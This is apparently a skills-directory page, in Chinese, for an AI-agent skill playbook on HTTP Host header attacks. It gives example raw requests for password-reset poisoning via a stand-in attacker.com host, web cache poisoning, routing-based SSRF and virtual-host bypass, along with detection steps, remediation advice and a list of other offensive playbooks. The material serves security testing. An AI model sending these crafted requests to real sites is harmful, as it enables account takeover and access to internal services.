Community编程与开发github.com

yaklang/http-host-header-attacks

HTTP Host 头注入与路由滥用攻击手册。当应用信任 Host 头来生成 URL、路由请求或进行访问控制时使用——可实现密码重置投毒、Web 缓存投毒、通过路由触发的 SSRF 以及虚拟主机绕过。

http-host-header-attacks 是什么?

本技能提供了一套完整的 HTTP Host 头攻击与路由滥用方案,适用于应用将其用于生成 URL、路由请求或访问控制的场景。通过掌握 Host 头注入技术,安全研究人员可以实施密码重置投毒、Web 缓存投毒(利用 HTTP 响应缓存差异)、基于路由的 SSRF(服务端请求伪造),以及绕过基于主机名的访问控制等攻击。该手册使用 yaklang 语言编写,支持跨平台的安全测试环境(如 Linux、macOS、Windows)。通过 EXPLOIT、POC 等模块化组织,每个案例包含详细的攻击原理、请求构造步骤及成功判定条件,便于自动化集成或手动测试。核心价值在于揭示 Host 头处理漏洞的多种利用路径,帮助开发者发现并修复此类安全隐患。

兼容平台~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/yaklang/hack-skills/tree/main/skills/http-host-header-attacks

Installed? Explore more 编程与开发 skills: steipete/bluebubbles, steipete/eightctl, steipete/blucli · View all 6 →

在你喜欢的 AI 中提问

打开一个已预加载此 Agent Skill 的新对话。

文档

http-host-header-attacks 是做什么的?

HTTP Host 头注入与路由滥用攻击手册。当应用信任 Host 头来生成 URL、路由请求或进行访问控制时使用——可实现密码重置投毒、Web 缓存投毒、通过路由触发的 SSRF 以及虚拟主机绕过。

概述

该技能聚焦于利用 HTTP Host 头处理缺陷的攻击技术。当后端应用根据 Host 头构建 URL、执行内部路由或执行基于主机的访问控制时,攻击者可操纵该头以导致以下后果:

  • 密码重置投毒:通过操控 Host 头,在密码重置邮件中嵌入恶意链接。
  • Web 缓存投毒:通过提供不同的 Host 头值,使缓存服务器存储对请求的欺骗性响应。
  • 路由 SSRF:将请求重定向到内部或未经授权的后端服务。
  • 虚拟主机绕过:绕过基于虚拟主机实施且校验不当的访问控制。

使用方式

该技能以 yaklang 脚本形式提供,可在 Yak 语言引擎 中运行。每个功能模块按名称划分,例如 EXPLOIT、POC 等。

环境要求

  • 安装并配置 Yak 语言引擎。
  • 目标应用必须依赖 Host 头进行 URL 生成、路由或访问控制。

运行示例

yak run password_reset_poisoning.yak
yak run cache_poisoning_by_host.yak

攻击场景

1. 密码重置投毒

描述:许多应用会在密码重置邮件中嵌入 Host 头。若应用信任 Host 头生成重置链接,攻击者可修改其为外部域,从而劫持重置流程。

请求示例:

POST /forgot-password HTTP/1.1
Host: attacker.com
Content-Type: application/x-www-form-urlencoded

[email protected]

成功条件:受害者收到的重置邮件中包含指向 attacker.com/reset?token=<token> 的链接。

2. Web 缓存投毒

描述:利用转发代理或缓存服务器与后端主机名解析方式的差异。通过构造带有特定 Host 头的请求,诱使缓存服务器存储针对该请求的恶意响应。

请求示例:

GET /assets/style.css HTTP/1.1
Host: cachepoisoned.attacker.com

成功条件:后续请求 Host: cachepoisoned.attacker.com 的 /assets/style.css 返回攻击者控制的响应。

3. 路由 SSRF

描述:某些内部路由机制依赖于 Host 头将请求路由到特定后端。攻击者可通过将 Host 头更改为内部服务名称,使请求发送到内部服务。

请求示例:

GET /admin HTTP/1.1
Host: internal-admin-service.local

成功条件:返回 200 状态码且响应中包含内部管理面板内容。

4. 虚拟主机绕过

描述:访问控制可能基于主机名。通过提供受信任的 Host 头,攻击者可绕过 ACL 规则。

请求示例:

GET /restricted HTTP/1.1
Host: admin-target.com

成功条件:返回 200 状态码且包含受限资源,而使用其他 Host 头时返回 403。

诊断与检测

  • 发送带有任意 Host 头的请求,看响应中是否引用该头(例如在表单 action 或链接中)。
  • 检查 HTTP 响应中是否存在 Host 回显(例如 Host 出现在 Location 头中)。
  • 使用相同的资源路径但不同的 Host 头,测试 Web 缓存行为差异。

修复建议

  • 使用 SERVER_NAME 而非 Host 头生成 URL。
  • 对 Host 头执行输入验证(使用已知列表)。
  • 确保缓存配置不依赖不可信的 Host 值。
  • 使用绝对 URL 生成链接,避免直接插入用户提供的 Host 值。

参考资料

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

yaklang/401-403-bypass-techniques

401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP method tampering, header injection, protocol downgrade, and automated bypass tools.

yaklang/active-directory-acl-abuse

Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS reading, GPO abuse, and BloodHound-guided attack paths.

yaklang/active-directory-certificate-services

AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to enrollment, CA officer abuse, and certificate-based persistence.

yaklang/active-directory-kerberos-attacks

Kerberos attack playbook for Active Directory. Use when targeting AD authentication via AS-REP roasting, Kerberoasting, golden/silver/diamond tickets, delegation abuse, or pass-the-ticket attacks.

yaklang/ai-ml-security

AI/ML security playbook. Use when assessing model supply chain attacks (pickle RCE, poisoned weights), adversarial examples, model poisoning, model stealing, data privacy attacks (membership inference, model inversion), and autonomous agent security risks.

yaklang/android-pentesting-tricks

Android pentesting playbook. Use when testing Android applications for SSL pinning bypass, exported component abuse, WebView vulnerabilities, intent redirection, root detection bypass, tapjacking, and backup extraction during authorized mobile security assessments.

yaklang/anti-debugging-techniques

Anti-debugging detection and bypass playbook. Use when reversing protected binaries that detect debuggers via ptrace, PEB flags, timing checks, or signal/exception handlers on Linux and Windows.

yaklang/api-auth-and-jwt-abuse

API authentication and JWT abuse playbook. Use when testing bearer tokens, API keys, claim trust, header spoofing, rate limits, and API auth boundary weaknesses.

yaklang/api-authorization-and-bola

API authorization and BOLA testing playbook. Use when APIs expose object identifiers, nested resources, hidden writable fields, or weak function-level authorization.

yaklang/api-recon-and-docs

API reconnaissance and documentation review playbook. Use when discovering endpoints, schemas, versions, OpenAPI specs, hidden docs, and surface area for API testing.

yaklang/api-sec

Entry P1 category router for API security. Use when choosing between API recon, authorization, token abuse, and hidden-parameter workflows before any deeper API topic skill.

yaklang/arbitrary-write-to-rce

Arbitrary write to RCE playbook. Use when you have an arbitrary write primitive (from heap exploitation, format string, or OOB write) and need to convert it into code execution by targeting GOT, hooks, _IO_FILE vtable, exit_funcs, TLS_dtor_list, modprobe_path, .fini_array, or C++ vtables.

yaklang/authbypass-authentication-flaws

Authentication bypass testing playbook. Use when assessing login flows, password reset logic, account recovery, MFA bypass, token predictability, brute-force resistance, and session boundary flaws.

yaklang/auth-sec

Entry P1 category router for authentication and authorization. Use when testing login flows, sessions, object authorization, JWT, OAuth, CORS, CSRF, and enterprise SSO weaknesses before any deeper auth topic skill.

yaklang/binary-protection-bypass

Binary protection bypass playbook. Use when identifying and bypassing ASLR, PIE, NX/DEP, stack canary, RELRO, FORTIFY_SOURCE, CET, and MTE protections in ELF binaries to enable exploitation.

yaklang/browser-exploitation-v8

Browser and V8 exploitation playbook. Use when exploiting JavaScript engine vulnerabilities including JIT type confusion, incorrect bounds elimination, and V8 sandbox bypass to achieve renderer RCE and sandbox escape in Chrome/Chromium.

yaklang/business-logic-vuln

Entry P1 category router for business logic testing. Use when workflow abuse, race conditions, pricing flaws, or multi-step state attacks matter more than parser-level input injection.

yaklang/business-logic-vulnerabilities

Business logic vulnerability playbook. Use when reasoning about workflows, race conditions, price manipulation, coupon abuse, state machines, and multi-step authorization gaps.

yaklang/classical-cipher-analysis

Classical cipher analysis playbook. Use when encountering substitution ciphers, Vigenere, transposition, XOR, or encoded text in CTF challenges that requires frequency analysis, Kasiski examination, or known-plaintext cryptanalysis.

yaklang/clickjacking

Clickjacking playbook. Use when testing whether target pages can be framed, whether X-Frame-Options or CSP frame-ancestors are properly configured, and whether UI redress attacks can trigger sensitive actions.

相关技能